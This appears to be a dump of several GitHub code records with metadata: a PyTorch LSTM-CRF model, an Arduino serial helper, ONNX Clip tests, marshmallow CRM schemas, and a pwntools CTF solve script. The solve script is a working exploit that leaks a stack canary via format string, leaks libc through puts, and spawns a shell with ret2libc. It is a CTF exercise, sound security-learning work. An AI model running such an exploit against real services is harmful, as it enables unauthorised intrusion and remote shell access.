1:-1] = labels\n        mask = sequence_mask(lens + 1, max_len=(seq_len + 2)).long()\n        # pad_stop = Variable(labels.data.new(1).fill_(self.end))\n        pad_stop = labels.new_full((1,), self.end, requires_grad=False)\n        pad_stop = pad_stop.unsqueeze(-1).expand(batch_size, seq_len + 2)\n        labels_ext = (1 - mask) * pad_stop + mask * labels_ext\n        labels = labels_ext\n\n        trn = self.transition\n        trn_exp = trn.unsqueeze(0).expand(batch_size, *trn.size())\n        lbl_r = labels[:, 1:]\n        lbl_rexp = lbl_r.unsqueeze(-1).expand(*lbl_r.size(), trn.size(0))\n        trn_row = torch.gather(trn_exp, 1, lbl_rexp)\n\n        lbl_lexp = labels[:, :-1].unsqueeze(-1)\n        trn_scr = torch.gather(trn_row, 2, lbl_lexp)\n        trn_scr = trn_scr.squeeze(-1)\n\n        mask = sequence_mask(lens + 1).float()\n        trn_scr = trn_scr * mask\n        score = trn_scr\n\n        return score\n\n    def calc_unary_score(self, logits, labels, lens):\n        labels_exp = labels.unsqueeze(-1)\n        scores = torch.gather(logits, 2, labels_exp).squeeze(-1)\n        mask = sequence_mask(lens).float()\n        scores = scores * mask\n        return scores\n\n    def calc_gold_score(self, logits, labels, lens):\n        unary_score = self.calc_unary_score(logits, labels, lens).sum(\n            1).squeeze(-1)\n        binary_score = self.calc_binary_score(labels, lens).sum(1).squeeze(-1)\n        return unary_score + binary_score\n\n    def calc_norm_score(self, logits, lens):\n        batch_size, seq_len, feat_dim = logits.size()\n        # alpha = logits.data.new(batch_size, self.label_size).fill_(-10000.0)\n        alpha = logits.new_full((batch_size, self.label_size), -100.0)\n        alpha[:, self.start] = 0\n        # alpha = Variable(alpha)\n        lens_ = lens.clone()\n\n        logits_t = logits.transpose(1, 0)\n        for logit in logits_t:\n            logit_exp = logit.unsqueeze(-1).expand(batch_size,\n                                                   *self.transition.size())\n            alpha_exp = alpha.unsqueeze(1).expand(batch_size,\n                                                  *self.transition.size())\n            trans_exp = self.transition.unsqueeze(0).expand_as(alpha_exp)\n            mat = logit_exp + alpha_exp + trans_exp\n            alpha_nxt = log_sum_exp(mat, 2).squeeze(-1)\n\n            mask = (lens_ > 0).float().unsqueeze(-1).expand_as(alpha)\n            alpha = mask * alpha_nxt + (1 - mask) * alpha\n            lens_ = lens_ - 1\n\n        alpha = alpha + self.transition[self.end].unsqueeze(0).expand_as(alpha)\n        norm = log_sum_exp(alpha, 1).squeeze(-1)\n\n        return norm\n\n    def viterbi_decode(self, logits, lens):\n        \"\"\"Borrowed from pytorch tutorial\n        Arguments:\n            logits: [batch_size, seq_len, n_labels] FloatTensor\n            lens: [batch_size] LongTensor\n        \"\"\"\n        batch_size, seq_len, n_labels = logits.size()\n        # vit = logits.data.new(batch_size, self.label_size).fill_(-10000)\n        vit = logits.new_full((batch_size, self.label_size), -100.0)\n        vit[:, self.start] = 0\n        # vit = Variable(vit)\n        c_lens = lens.clone()\n\n        logits_t = logits.transpose(1, 0)\n        pointers = []\n        for logit in logits_t:\n            vit_exp = vit.unsqueeze(1).expand(batch_size, n_labels, n_labels)\n            trn_exp = self.transition.unsqueeze(0).expand_as(vit_exp)\n            vit_trn_sum = vit_exp + trn_exp\n            vt_max, vt_argmax = vit_trn_sum.max(2)\n\n            vt_max = vt_max.squeeze(-1)\n            vit_nxt = vt_max + logit\n            pointers.append(vt_argmax.squeeze(-1).unsqueeze(0))\n\n            mask = (c_lens > 0).float().unsqueeze(-1).expand_as(vit_nxt)\n            vit = mask * vit_nxt + (1 - mask) * vit\n\n            mask = (c_lens == 1).float().unsqueeze(-1).expand_as(vit_nxt)\n            vit += mask * self.transition[self.end].unsqueeze(\n                0).expand_as(vit_nxt)\n\n            c_lens = c_lens - 1\n\n        pointers = torch.cat(pointers)\n        scores, idx = vit.max(1)\n        # idx = idx.squeeze(-1)\n        paths = [idx.unsqueeze(1)]\n        for argmax in reversed(pointers):\n            idx_exp = idx.unsqueeze(-1)\n            idx = torch.gather(argmax, 1, idx_exp)\n            idx = idx.squeeze(-1)\n\n            paths.insert(0, idx.unsqueeze(1))\n\n        paths = torch.cat(paths[1:], 1)\n        scores = scores.squeeze(-1)\n\n        return scores, paths\n\nclass Model(nn.Module):\n    def __init__(self):\n        super(Model, self).__init__()\n        self.gpu = False\n\n    def cuda(self, device=None):\n        self.gpu = True\n        for module in self.children():\n            module.cuda(device)\n        return self\n\n    def cpu(self):\n        self.gpu = False\n        for module in self.children():\n            module.cpu()\n        return self\n\n\nclass LstmCrf(Model):\n    def __init__(self,\n                 token_vocab,\n                 label_vocab,\n                 char_vocab,\n                 word_embedding,\n                 char_embedding,\n                 crf,\n                 lstm,\n                 input_layer=None,\n                 univ_fc_layer=None,\n                 spec_fc_layer=None,\n                 output_layer=None,\n                 embed_dropout_prob=0,\n                 lstm_dropout_prob=0,\n                 use_char_embedding=True,\n                 char_highway=None\n                 ):\n        super(LstmCrf, self).__init__()\n\n        self.token_vocab = token_vocab\n        self.label_vocab = label_vocab\n        self.char_vocab = char_vocab\n        self.idx_label = {idx: label for label, idx in label_vocab.items()}\n        self.embed_dropout_prob = embed_dropout_prob\n        self.lstm_dropout_prob = lstm_dropout_prob\n        self.use_char_embedding = use_char_embedding\n\n        self.word_embedding = word_embedding\n        self.char_embedding = char_embedding\n\n        self.feat_dim = word_embedding.embedding_dim\n        if use_char_embedding:\n            self.feat_dim += char_embedding.output_size\n\n        self.lstm = lstm\n        self.input_layer = input_layer\n        self.univ_fc_layer = univ_fc_layer\n        self.spec_fc_layer = spec_fc_layer\n        self.output_layer = output_layer\n        self.crf = crf\n        self.char_highway = char_highway\n        self.lstm_dropout = nn.Dropout(p=lstm_dropout_prob)\n        self.embed_dropout = nn.Dropout(p=embed_dropout_prob)\n        self.label_size = len(label_vocab)\n        if spec_fc_layer:\n            self.spec_gate = Linear(spec_fc_layer.in_features,\n                                    spec_fc_layer.out_features)\n\n    def forward_model(self, inputs, lens, chars=None, char_lens=None):\n        batch_size, seq_len = inputs.size()\n\n        # Word embedding\n        inputs_embed = self.word_embedding(inputs)\n\n        # Character embedding\n        if self.use_char_embedding:\n            chars_embed = self.char_embedding(chars)\n            if self.char_highway:\n                chars_embed = self.char_highway(chars_embed)\n            chars_embed = chars_embed.view(batch_size, seq_len, -1)\n            inputs_embed = torch.cat([inputs_embed, chars_embed], dim=2)\n\n        inputs_embed = self.embed_dropout(inputs_embed)\n\n        # LSTM layer\n        inputs_packed = R.pack_padded_sequence(inputs_embed, lens.tolist(),\n                                               batch_first=True)\n        lstm_out, _ = self.lstm(inputs_packed)\n        lstm_out, _ = R.pad_packed_sequence(lstm_out, batch_first=True)\n\n        lstm_out = lstm_out.contiguous().view(-1, self.lstm.output_size)\n        lstm_out = self.lstm_dropout(lstm_out)\n\n        # Fully-connected layer\n        univ_feats = self.univ_fc_layer(lstm_out)\n        if self.spec_fc_layer is not None:\n            spec_feats = self.spec_fc_layer(lstm_out)\n            gate = F.sigmoid(self.spec_gate(lstm_out))\n            outputs = gate * spec_feats + (1 - gate) * univ_feats\n        else:\n            outputs = univ_feats\n        outputs = outputs.view(batch_size, seq_len, self.label_size)\n\n        return outputs\n\n    def predict(self, inputs, labels, lens, chars=None, char_lens=None):\n        self.eval()\n\n        loglik, logits = self.loglik(inputs, labels, lens, chars, char_lens)\n        loss = -loglik.mean()\n        scores, preds = self.crf.viterbi_decode(logits, lens)\n\n        self.train()\n        return preds, loss\n\n    def loglik(self, inputs, labels, lens, chars=None, char_lens=None):\n        logits = self.forward_model(inputs, lens, chars, char_lens)\n        logits = self.crf.pad_logits(logits)\n        norm_score = self.crf.calc_norm_score(logits, lens)\n        gold_score = self.crf.calc_gold_score(logits, labels, lens)\n        loglik = gold_score - norm_score\n\n        return loglik, logits\n", "repo_name": "limteng-rpi/mlmt", "sub_path": "model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 17490, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 29, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 29, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 51, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 61, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 69, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn.Embedding", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 97, "usage_type": "name"}, {"api_name": "constant.PAD_INDEX", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.FloatTensor", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.nn.init.orthogonal_", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 113, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 116, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 116, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.nn.functional", "line_number": 134, "usage_type": "argument"}, {"api_name": "torch.nn.Module", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 144, "usage_type": "name"}, {"api_name": "torch.nn.functional", "line_number": 152, "usage_type": "argument"}, {"api_name": "torch.nn.ModuleList", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 153, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 155, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 160, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 166, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 166, "usage_type": "name"}, {"api_name": "torch.nn.init.orthogonal_", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 190, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 196, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 196, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 201, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 205, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 211, "usage_type": "name"}, {"api_name": "torch.nn.functional.max_pool1d", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 213, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 219, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 219, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 227, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.gather", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.gather", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.gather", "line_number": 276, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 348, "usage_type": "call"}, {"api_name": "torch.gather", "line_number": 354, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 359, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 364, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 364, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 424, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 424, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 425, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 425, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 443, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn.pack_padded_sequence", "line_number": 448, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn", "line_number": 448, "usage_type": "name"}, {"api_name": "torch.nn.utils.rnn.pad_packed_sequence", "line_number": 451, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn", "line_number": 451, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 460, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 460, "usage_type": "name"}]}
{"seq_id": "9876557849", "text": "import asyncio\nimport logging\nimport serial_asyncio\nimport msgpack\nfrom serial.tools import list_ports\n\n\nclass Arduino(object):\n    \"\"\" Utility functions to perform Arduino communication asynchronously \"\"\"\n    def __init__(self, serial_port=None, baud_rate=115200):\n        self.logger = logging.getLogger(\"Arduino\")\n        self.baud_rate = baud_rate\n\n        if serial_port is None:\n            self.logger.debug(\"Attempt to auto-detect Arduino serial port\")\n            coms = list_ports.comports()\n            self.logger.debug(f\"Available serial ports: {str([com.device for com in coms])}\")\n            arduino = [com for com in coms if \"Arduino\" in com.description]\n            if arduino:\n                # We found an Arduino connected via USB\n                serial_port = arduino[0].device\n            elif is_raspberrypi():\n                # We didn't find an Arduino on USB, but list_ports.comports \n                # does not list the hardware comport on most Raspberry pis, so find it manually.\n                serial_port = \"/dev/serial0\"\n            else:\n                # We're not on a Raspberry Pi, and we didn't find any Raspberry PI, \n                # let's just try the first one available.\n                serial_port = coms[0].device\n\n        self.serial_port = serial_port\n        self._reader = None\n        self._writer = None\n\n    async def open(self):\n        self._reader, self._writer \\\n            = await serial_asyncio.open_serial_connection(url=self.serial_port, baudrate=self.baud_rate)\n\n    async def close(self):\n        self._writer.close()\n\n    async def __aenter__(self):\n        await self.open()\n        return self\n\n    async def __aexit__(self, exc_type, exc, tb):\n        await self.close()\n\n    async def get_sensors(self):\n        received = (await self._reader.readline()).decode(\"ascii\", errors=\"ignore\").strip()\n        self.logger.debug(f\"Received data from Arduino: {received}\")\n        return msgpack.unpackb(received, encoding='ascii')\n\n    def set_interval(self, interval):\n        message = msgpack.packb({\"interval\" : interval})\n        self.logger.debug(f\"Sent interval to Arduino: {message}\")\n        self._writer.write(message)\n\n    def set_actuators(self, values):\n        message = msgpack.packb(values)\n        self.logger.debug(f\"Sent data to Arduino: {message}\")\n        self._writer.write(message)\n", "repo_name": "simtind/edu-rover2", "sub_path": "edurov_server/hardware/arduino.py", "file_name": "arduino.py", "file_ext": "py", "file_size_in_byte": 2367, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "serial.tools.list_ports.comports", "line_number": 16, "usage_type": "call"}, {"api_name": "serial.tools.list_ports", "line_number": 16, "usage_type": "name"}, {"api_name": "serial_asyncio.open_serial_connection", "line_number": 37, "usage_type": "call"}, {"api_name": "msgpack.unpackb", "line_number": 52, "usage_type": "call"}, {"api_name": "msgpack.packb", "line_number": 55, "usage_type": "call"}, {"api_name": "msgpack.packb", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "33188291523", "text": "from typing import Any, Dict, List\n\nimport numpy as np\nimport onnx\nfrom numpy.typing import NDArray\nfrom onnx import TensorProto\nfrom onnx.helper import make_graph, make_model, make_node, make_opsetid, make_tensor, make_tensor_value_info\nfrom onnx.numpy_helper import from_array\nfrom util import Base\n\ninfo = make_tensor_value_info\n\n\ndef test_clip_00() -> None:\n    class ClipTester(Base):\n        \"\"\"\n        IR version == 11\n        \"\"\"\n\n        def create_onnx(self) -> onnx.ModelProto:\n            node = make_node(\"Clip\", inputs=[\"x\", \"min\", \"max\"], outputs=[\"y\"])\n            max_init = make_tensor(\"max\", TensorProto.FLOAT, (), np.array([6.0], dtype=np.float32))\n            min_init = make_tensor(\"min\", TensorProto.FLOAT, (), np.array([0.0], dtype=np.float32))\n\n            inputs = [info(\"x\", TensorProto.FLOAT, (1, 3, 4, 5))]\n            outputs = [info(\"y\", TensorProto.FLOAT, (1, 3, 4, 5))]\n            graph = make_graph([node], \"add_graph\", inputs, outputs, initializer=[min_init, max_init])\n            return make_model(graph)\n\n    inputs = {\"x\": (np.random.rand(1, 3, 4, 5).astype(np.float32) * 10.0)}\n    outputs = [\"y\"]\n    ClipTester(inputs, outputs).run()\n\n\ndef test_clip_01() -> None:\n    class ClipTester(Base):\n        \"\"\"\n        IR version == 6\n        \"\"\"\n\n        def create_onnx(self) -> onnx.ModelProto:\n            node = make_node(\"Clip\", inputs=[\"x\"], outputs=[\"y\"], min=0.0, max=6.0)\n\n            inputs = [info(\"x\", TensorProto.FLOAT, (1, 3, 4, 5))]\n            outputs = [info(\"y\", TensorProto.FLOAT, (1, 3, 4, 5))]\n            graph = make_graph([node], \"add_graph\", inputs, outputs)\n            return make_model(graph, opset_imports=[make_opsetid(\"\", 6)])\n\n    inputs = {\"x\": (np.random.rand(1, 3, 4, 5).astype(np.float32) * 10.0)}\n    outputs = [\"y\"]\n    ClipTester(inputs, outputs).run()\n", "repo_name": "Idein/nnoir", "sub_path": "nnoir-onnx/test/test_clip.py", "file_name": "test_clip.py", "file_ext": "py", "file_size_in_byte": 1830, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "onnx.helper.make_tensor_value_info", "line_number": 11, "usage_type": "name"}, {"api_name": "util.Base", "line_number": 15, "usage_type": "name"}, {"api_name": "onnx.helper.make_node", "line_number": 21, "usage_type": "call"}, {"api_name": "onnx.helper.make_tensor", "line_number": 22, "usage_type": "call"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 22, "usage_type": "attribute"}, {"api_name": "onnx.helper.make_tensor", "line_number": 23, "usage_type": "call"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 23, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 23, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 25, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 25, "usage_type": "name"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 26, "usage_type": "name"}, {"api_name": "onnx.helper.make_graph", "line_number": 27, "usage_type": "call"}, {"api_name": "onnx.helper.make_model", "line_number": 28, "usage_type": "call"}, {"api_name": "onnx.ModelProto", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "util.Base", "line_number": 36, "usage_type": "name"}, {"api_name": "onnx.helper.make_node", "line_number": 42, "usage_type": "call"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 44, "usage_type": "name"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 45, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 45, "usage_type": "name"}, {"api_name": "onnx.helper.make_graph", "line_number": 46, "usage_type": "call"}, {"api_name": "onnx.helper.make_model", "line_number": 47, "usage_type": "call"}, {"api_name": "onnx.helper.make_opsetid", "line_number": 47, "usage_type": "call"}, {"api_name": "onnx.ModelProto", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 49, "usage_type": "attribute"}]}
{"seq_id": "41577207082", "text": "#!/usr/bin/env python3\n\nfrom pwn import context, ELF, log, p64, remote, ROP, sys, u64\n\ncontext.binary = elf = ELF('main')\nglibc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)\n\n\ndef get_process():\n    global glibc\n\n    if len(sys.argv) == 1:\n        return context.binary.process()\n\n    glibc = ELF('libc6_2.27-3ubuntu1.5_amd64.so', checksec=False)\n    host, port = sys.argv[1], 443\n    return remote(host, port, ssl=True, sni=host)\n\n\ndef get_canary_main_addr(p):\n    p.sendlineafter(b'Please fill in your name:\\n', b'%11$lx.%27$lx')\n    p.recvuntil(b'Thank you ')\n    canary, main_addr = map(lambda x: int(x, 16), p.recvline().split(b'.'))\n\n    log.info(f'Leaked canary: {hex(canary)}')\n    log.info(f'Leaked main() address: {hex(main_addr)}')\n\n    return canary, main_addr\n\n\ndef main():\n    p = get_process()\n    canary, main_addr = get_canary_main_addr(p)\n\n    elf.address = main_addr - elf.sym.main\n    log.info(f'ELF base address: {hex(elf.address)}')\n    rop = ROP(elf)\n\n    offset = 56\n    junk = b'A' * offset\n\n    leaked_function = 'setvbuf'\n\n    payload  = junk\n    payload += p64(canary)\n    payload += p64(0)\n    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])\n    payload += p64(elf.got[leaked_function])\n    payload += p64(elf.plt.puts)\n    payload += p64(elf.sym.main)\n\n    p.sendlineafter(b'So let\\'s get into business, give me a secret to exploit me :).\\n', payload)\n    p.recvline()\n    leaked_function_addr = u64(p.recvline().strip().ljust(8, b'\\0'))\n\n    log.info(f'Leaked {leaked_function}() address: {hex(leaked_function_addr)}')\n\n    glibc.address = leaked_function_addr - glibc.sym[leaked_function]\n    log.info(f'Glibc base address: {hex(glibc.address)}')\n\n    p.sendline()\n\n    payload  = junk\n    payload += p64(canary)\n    payload += p64(0)\n    payload += p64(rop.find_gadget(['ret'])[0])\n    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])\n    payload += p64(next(glibc.search(b'/bin/sh')))\n    payload += p64(glibc.sym.system)\n\n    p.sendlineafter(b'So let\\'s get into business, give me a secret to exploit me :).\\n', payload)\n    p.recvline()\n\n    p.interactive()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "7Rocky/CTF-scripts", "sub_path": "BlackHat MEA CTF/Secret Note/solve.py", "file_name": "solve.py", "file_ext": "py", "file_size_in_byte": 2158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pwn.context.binary", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pwn.context", "line_number": 5, "usage_type": "name"}, {"api_name": "pwn.ELF", "line_number": 5, "usage_type": "call"}, {"api_name": "pwn.ELF", "line_number": 6, "usage_type": "call"}, {"api_name": "pwn.sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pwn.sys", "line_number": 12, "usage_type": "name"}, {"api_name": "pwn.context.binary.process", "line_number": 13, "usage_type": "call"}, {"api_name": "pwn.context.binary", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pwn.context", "line_number": 13, "usage_type": "name"}, {"api_name": "pwn.ELF", "line_number": 15, "usage_type": "call"}, {"api_name": "pwn.sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pwn.sys", "line_number": 16, "usage_type": "name"}, {"api_name": "pwn.remote", "line_number": 17, "usage_type": "call"}, {"api_name": "pwn.log.info", "line_number": 25, "usage_type": "call"}, {"api_name": "pwn.log", "line_number": 25, "usage_type": "name"}, {"api_name": "pwn.log.info", "line_number": 26, "usage_type": "call"}, {"api_name": "pwn.log", "line_number": 26, "usage_type": "name"}, {"api_name": "pwn.log.info", "line_number": 36, "usage_type": "call"}, {"api_name": "pwn.log", "line_number": 36, "usage_type": "name"}, {"api_name": "pwn.ROP", "line_number": 37, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 45, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 46, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 47, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 48, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 49, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 50, "usage_type": "call"}, {"api_name": "pwn.u64", "line_number": 54, "usage_type": "call"}, {"api_name": "pwn.log.info", "line_number": 56, "usage_type": "call"}, {"api_name": "pwn.log", "line_number": 56, "usage_type": "name"}, {"api_name": "pwn.log.info", "line_number": 59, "usage_type": "call"}, {"api_name": "pwn.log", "line_number": 59, "usage_type": "name"}, {"api_name": "pwn.p64", "line_number": 64, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 65, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 66, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 67, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 68, "usage_type": "call"}, {"api_name": "pwn.p64", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "10481552126", "text": "\"\"\"\nSchemas for \"crm distribution list\" related models\n\"\"\"\n\nfrom marshmallow import (\n    fields, pre_dump, validates_schema, ValidationError)\nfrom sqlalchemy.orm import load_only\n\nfrom app import ma\nfrom app.base.schemas import default_exclude, BaseReadArgsSchema, user_fields\nfrom app.crm_resources.crm_distribution_lists.models import CRMDistributionList\nfrom app.crm_resources.crm_distribution_file_library.models import (\n    CRMDistributionLibraryFile)\n\n\nclass CRMDistAttachmentFileSizeSchema(ma.Schema):\n    \"\"\"\n    Schema for attachment name with file size\n    \"\"\"\n    attachment_name = fields.String(dump_only=True)\n    size = fields.Integer(dump_only=True)\n\n\nclass CRMDistributionListSchema(ma.ModelSchema):\n    \"\"\"\n    Schema for loading \"crm distribution list\" from request,\n    and also formatting output\n    \"\"\"\n    _default_exclude_fields = [\n        'attachment_urls', 'file_attachment_size', 'html_files',\n        'html_template', 'attachments']\n    _cached_files = None\n    html_file_ids = fields.List(fields.Integer(), dump_only=True)\n\n    class Meta:\n        model = CRMDistributionList\n        include_fk = True\n        load_only = ('updated_by', 'account_id', 'created_by')\n        dump_only = default_exclude + (\n            'updated_by', 'account_id', 'created_by')\n\n    attachment_urls = ma.List(ma.Url(dump_only=True))\n    file_attachment_size = ma.List(ma.Nested(\n        CRMDistAttachmentFileSizeSchema, dump_only=True))\n\n    crm_distribution_invitees = ma.List(ma.Nested(\n        'app.crm_resources.crm_distribution_invitee_lists.schemas.'\n        'CRMDistributionInviteeListSchema', exclude=['distribution_list_id'],\n        only=['row_id', 'invitee_email', 'invitee_first_name',\n              'invitee_last_name', 'is_mail_sent', 'user_id', 'user',\n              'email_status', 'sent_on']))\n    html_files = ma.List(ma.Nested(\n        'app.crm_resources.crm_distribution_file_library.schemas.'\n        'CRMDistributionLibraryFileSchema', only=[\n            'row_id', 'file_url', 'filename']),\n        dump_only=True)\n\n    @pre_dump(pass_many=True)\n    def loads_urls(self, objs, many):\n        \"\"\"\n        Loads the urls of invite_logo_url, invite_banner_url,\n        audio_url, video_url\n        \"\"\"\n        if many:  # #TODO: write optimized load_url here instead?\n            pass\n        else:\n            objs.load_urls()\n\n    @validates_schema(pass_original=True)\n    def validate_file_ids(self, data, original_data):\n        \"\"\"\n        Validate file ids exists or not\n        :param data:\n        :param original_data:\n        :return:\n        \"\"\"\n\n        # file exists or not\n        self._cached_files = []\n        missing_files = []\n        error_files = False\n        # load all the file ids\n        f_ids = []\n        if 'html_file_ids' in original_data and original_data['html_file_ids']:\n            f_ids = original_data['html_file_ids'][:]\n        # validate file_ids, and load all the _cached_files\n        if f_ids:\n            # make query\n            fids = []\n            for f in f_ids:\n                try:\n                    fids.append(int(f))\n                except Exception as e:\n                    continue\n            self._cached_files = [\n                f for f in CRMDistributionLibraryFile.query.filter(\n                    CRMDistributionLibraryFile.row_id.in_(fids)).options(\n                    load_only('row_id')).all()]\n            file_ids = [f.row_id for f in self._cached_files]\n            missing_files = set(fids) - set(file_ids)\n            if missing_files:\n                error_files = True\n\n        if error_files:\n            raise ValidationError(\n                'Files: %s do not exist' % missing_files,\n                'html_file_ids'\n            )\n\n\nclass CRMDistributionGetListSchema(CRMDistributionListSchema):\n    \"\"\"\n    Schema for loading \"crm distribution get list\" from request,\n    and also formatting output\n    \"\"\"\n    crm_distribution_invitees = ma.List(ma.Nested(\n        'app.crm_resources.crm_distribution_invitee_lists.schemas.'\n        'CRMDistributionInviteeListSchema', exclude=['distribution_list_id'],\n        only=['row_id', 'invitee_email', 'invitee_first_name',\n              'invitee_last_name', 'is_mail_sent']))\n\n\nclass CRMDistributionListReadArgsSchema(BaseReadArgsSchema):\n    \"\"\"\n    Schema for reading \"CRMDistribution List\" filters from request args\n    \"\"\"\n\n    campaign_name = fields.String(load_only=True)\n    is_draft = fields.String(load_only=True)\n", "repo_name": "Witzcode0/Exchange-connect", "sub_path": "app/crm_resources/crm_distribution_lists/schemas.py", "file_name": "schemas.py", "file_ext": "py", "file_size_in_byte": 4479, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.ma.Schema", 